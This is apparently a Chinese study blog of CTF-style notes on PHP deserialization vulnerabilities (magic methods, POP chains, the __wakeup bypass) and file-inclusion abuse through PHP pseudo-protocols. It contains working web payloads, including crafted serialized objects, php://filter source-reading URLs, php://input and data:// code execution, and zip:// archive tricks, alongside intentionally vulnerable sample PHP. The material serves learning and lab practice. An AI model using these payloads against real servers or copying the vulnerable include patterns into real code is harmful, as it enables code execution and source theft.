Skip to content

PHP小结

Ⅰ. PHP反序列化入门

类与对象

是定义一系列 属性 和操作的模板,对象 就是把 属性 进行实例化,然后交给 里面的 方法 进行处理。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
class people{
   //定义类属性(类似变量),public 代表可见性(公有)
    public $name = 'casio3';
   //定义类方法(类似函数)
   public function action(){
        echo $this->name." is chasing...\n";
   }
}

$bin = new people(); //根据people类实例化对象
$bin->action();
?>

上述代码定义了一个people类,并在在类中定义了一个public类型的变量name和类方法action。然后实例化一个对象bin,去调用people类里面的action方法,打印出结果。

魔术方法

魔术方法:在触发了某个事件之前或之后,魔法函数会自动调用执行,而其他的普通函数必须手动调用才可以执行。php将所有以__(两个下划线)开头的类方法保留为魔术方法。

方法名 作用
__construct 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值
__destruct 析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用
__toString 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法
__wakeup() 使用 unserialize 时触发,反序列化恢复对象之前调用该方法
__sleep() 使用 serialize 时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)
__destruct() 对象被销毁时触发
__call() 在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性)
__set() 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行
__isset() 当对不可访问属性调用isset()或empty()时触发
__unset() 当对不可访问属性调用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发

额外提一下 __toString 的具体触发场景:

(1) echo($obj) / print($obj) 打印时会触发

(2) 反序列化对象与字符串连接时

(3) 反序列化对象参与格式化字符串时

(4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5) 反序列化对象参与格式化SQL语句,绑定参数时

(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8) 反序列化的对象作为 class_exists() 的参数的时候

php序列化&反序列化

php序列化(serialize): 将变量转换为可保存或传输的字符串的过程

php反序列化(unserialize): 在适当的时候把这个字符串再转化成原来的变量使用

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。

常见的php序列化和反序列化方式主要有:serialize,unserialize;json_encode,json_decode

img

以上是序列化之后的结果,O 代表是一个对象,6 是对象 object 的长度,3 的意思是有三个类属性,后面花括号里的是类属性的内容,s 表示的是类属性 team 的类型(像 i 就表示整数型),4 表示类属性 team 的长度,后面的以此类推。值得一提的是,类方法并不会参与到实例化里面

需要注意的是变量受到不同修饰符(public,private,protected)修饰进行序列化时,序列化后变量的长度和名称会发生变化。

通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:

  1. private 修饰的私有成员,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]

  2. protected 修饰的成员,序列化时:\x00 + * + \x00 + [变量名]

其中,"\x00"代表ASCII为0的值,即空字节," * " 必不可少。

空字节构造往往可以用%00来写payload:

1
O:6:"object":3:{s:4:"team";s:5:"joker";s:17:"%00object%00team_name";s:6:"hahaha";s:13:"%00*%00team_group";s:6:"biubiu";}

但是有些时候限制了输入字符的ASCII码范围(比如32~125),%00就不可了。

  • 于是乎引出一个绕过技巧:使用大写S支持字符串的编码

反序列化中为了避免信息丢失,使用大写S支持字符串的编码。php为了更加方便进行反序列化 Payload 的传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

使用如下形式的绕过:

1
2
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

这里有个疑惑,如上payload采取十六进制时并没有加\x这种形式,但是我看到有些地方讲这个空字符是在用\x00,在实际遇到的情况中加了x的payload是无效的。下面这个绕过亦然:

1
s:4:"user"; -> S:4:"use\72";

序列化格式中的字母含义:

1
2
3
4
5
6
a - array                    b - boolean  
d - double                   i - integer
o - common object            r - reference
s - string                   C - custom object
O - class                    N - null
R - pointer reference        U - unicode string

反序列化就依次根据规则进行反向复原。

php反序列化漏洞(对象注入)

在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。

挖掘反序列化漏洞的条件是:

  1. 代码中有可利用的类,并且类中有 __wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。

  2. unserialize()函数的参数可控。

我就不写实例了,排点细碎

  • 构造恶意 payload,对类 A 的 $test 的值进行变量覆盖

  • 使用伪协议php://filter进行任意文件读取

  • 绕过 __wakeup 函数

CVE-2016-7124 漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行

POP链构造

面向属性编程(Property-Oriented Programing):常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。

在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,当然进行反序列化的数据能够被用户输入所控制。

POP CHAIN:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性关联,就是 POP CHAIN。此时类中所有的敏感属性都属于可控的。当 unserialize() 传入的参数可控,便可以通过反序列化漏洞控制 POP CHAIN 达到利用特定漏洞的效果。

  1. pop链中有用的方法:
1
2
3
命令执行:exec()、passthru()、popen()、system()
文件操作:file_put_contents()、file_get_contents()、unlink()
代码执行:eval()、assert()、call_user_func()

方法介绍:

1
2
3
4
5
6
7
exec — 执行一个外部程序
passthru - 同 exec() 函数类似,也是用来执行外部命令
popen — 打开进程文件指针
system — 执行外部程序,并且显示输出
file_put_contents — 将一个字符串写入文件
file_get_contents — 将整个文件读入一个字符串    
unlink — 删除文件
  1. 反序列化中为了避免信息丢失,使用大写S支持字符串的编码

  2. 深浅 copy

在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。

1
$A = &$B;
  1. php伪协议

配合php伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。

php Session反序列化(待补充)

phar伪协议触发反序列化(待补充)

php反序列化对象逃逸

php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。

反序列化按照一定的序列化规则,但是有一定的识别范围,在这个范围之外(花括号}之后)的字符都会被忽略,不影响反序列化的正常进行

于是乎可以考虑如何闭合,贴一张我不太懂的图:

拼接

php原生类序列化(暂无了解)

Ⅱ. PHP伪协议与文件包含漏洞

PHP中支持的伪协议

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

跳转测试: 用法总结 <在Typora中利用anchor跳转时按住Ctrl点击>

file://协议

php.ini:

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响.

file.php:

1
2
3
4
5
6
<?php
if(isset($_GET['page']))
{
    include $_GET['page'];
}
?>

file:// [文件的绝对路径和文件名],payload参考:

1
http://127.0.0.1/file.php?page=file://e:/tool/phpstudy/phptutorial/www/phpinfo.php

php://协议

php://filter在双off的情况下也可以正常使用;

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码.

· php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

1
2
3
4
resource=<要过滤的数据流>  这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>      该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>     该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>        任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

可以运用多种过滤器(字符串/转换/压缩/加密)

有些学的不是太细,要用的时候再说吧。。。

例如用来任意文件读取的payload:

1
2
3
php://filter/read=convert.base64-encode/resource=upload.php
这里读的过滤器为convert.base64-encode,就和字面上的意思一样,把输入流base64-encode,
resource=upload.php,代表读取upload.php的内容
  • <字符串过滤器>

string.* 是用来处理各个字符串的,比较像python的string模块.

1
2
3
4
5
6
7
8
9
string.rot13
进行rot13转换
string.toupper
将字符全部大写
string.tolower
将字符全部小写
string.strip_tags
去除空字符、HTML 和 PHP 标记后的结果。
功能类似于strip_tags()函数,若不想某些字符不被消除,后面跟上字符,可利用字符串或是数组两种方式。
  • <转换过滤器>

convert.* 过滤器是php5.0.0以后添加的.

图片.png

  • <压缩过滤器>

图片.png

  • <加密过滤器>

图片.png

实例
  1. PHP file_put_contents() 函数

xxx.php

1
2
3
4
5
<?php  
$filename=$_GET["a"];  
$data="test test";  
file_put_contents($filename, $data);  
?>  

payload:

1
http://127.0.0.1/xxx.php?a=php://filter/write=string.tolower/resource=test.php

可以往服务器中写入一个文件内容全为小写且文件名为test.php的文件: 图片.png

  1. PHP file_get_contents() 函数

xxx.php

1
2
3
4
<?php  
$filename=$_GET["a"];  
echo file_get_contents($filename);  
?>  

payload:

1
http://127.0.0.1/xxx.php?a=php://filter/convert.base64-encode/resource=test.php

file_get_contents()的$filename参数不仅仅为文件路径,还可以是一个URL(伪协议)。 test.php的内容以base64编码的方式显示出来: 图片.png

  1. PHP include() 函数

xxx.php

1
2
3
4
5
<?php  
$filename=$_GET['a'];
$data="test test";
include("$filename");
?>

payload:

1
http://127.0.0.1/xxx.php?a=php://filter/convert.base64-encode/resource=test.php

同样可以把test.php的内容以base64编码的方式显示出来.

Tips:

双引号包含的变量$filename会被当作正常变量执行,而单引号包含的变量则会被当作字符串执行. 例如:

1
2
3
4
5
6
<?php  
$casio3=handsome;
echo "$casio3";
echo "<br>";
echo '$casio3';
?>

output:

1
2
handsome
$casio3

之前玩一句话木马的编码绕过时学习过,

image-20201107114454626

看这抹绿色多焦人啊,最开始不懂为什么标识的颜色是这样:

image-20201107114351130

· php://input

php://input 是个可以访问请求的原始数据的只读流,可以读取到post没有解析的原始数据, 将post请求中的数据作为PHP代码执行。因为它不依赖于特定的 php.ini 指令。 注:enctype=”multipart/form-data” 的时候 php://input 是无效的。

allow_url_fopen :off/on allow_url_include:on

xxx.php

1
2
3
<?php  
echo file_get_contents($_GET["a"]);  
?>  

图片.png 但是当PHP代码为:

1
2
3
4
<?php  
$test=$_GET['a'];
include($test);
?>    

并且当远程包含打开的时候(allow_url_include=on),就可以造成任意代码执行。 但是在老版hackbar中可以直接被解析: 图片.png

实例

'r' 参数应该类似 fopen,以只读形式读入.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
// 解法为  url/index.php?user=php://input  
// [POSTDATA] the user is admin
// 最后输出为hello admin!并且包含对应文件
· php://output

是一个只写的数据流, 允许以 print 和 echo 一样的方式写入到输出缓冲区.

实例
1
2
3
4
<?php  
$code=$_GET["a"];  
file_put_contents($code,"test");   
?>  

图片.png

data://协议

data:资源类型;编码,内容数据流封装器 当allow_url_include 打开的时候,任意文件包含就会成为任意命令执行

PHP.ini: data://协议 必须在双on时才能正常使用 allow_url_fopen :on allow_url_include:on php 版本大于等于 php5.2

注: 查阅 PHP 手册时写的并不受限于allow_url_open.

xxx.php

1
2
3
4
 <?php  
$filename=$_GET["a"];  
include("$filename");  
?>  

可以

1
2
3
4
5
6
7
8
http://127.0.0.1/xxx.php?a=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/xxx.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

或者
http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

图片.png

zip://, bzip2://, zlib://协议

PHP.ini: zip://, bzip2://, zlib://协议在 双off 的情况下也可以正常使用; allow_url_fopen :off/on allow_url_include:off/on

1
2
3
4
3个封装协议,都是直接打开压缩文件。
compress.zlib://file.gz - 处理的是 '.gz' 后缀的压缩包
compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包
zip://archive.zip#dir/file.txt - 处理的是 '.zip' 后缀的压缩包里的文件

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名.

· zip://协议

PHP 版本大于等于 PHP 5.3.0 使用方法: zip://archive.zip#dir/file.txt zip:// [压缩文件绝对路径]#[压缩文件内的子文件名] 要用绝对路径+url编码#

测试: 新建一个名为zip.txt的文件,内容为<?php phpinfo();?>,然后压缩为名为test.zip的zip文件。 如果可以上传zip文件则上传zip文件,若不能则重命名为test.jpg后上传。 其他几种压缩格式也可以这样操作。 图片.png

更名为 jpg, payload:

1
http://127.0.0.1/xxx.php?a=zip://C:\Users\nameless\Desktop\test.jpg%23zip.txt

图片.png

· bzip2://协议

使用方法: compress.bzip2://file.bz2 相对路径也可以

测试: 用7-zip生成一个bz2压缩文件。 payload:

1
http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/nameless/Desktop/test.bz2

或者文件改为jpg后缀,

1
http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/nameless/Desktop/test.jpg
· zlib://协议

同上.

sumpic

1

Ⅲ. PHP变量覆盖漏洞

Back to top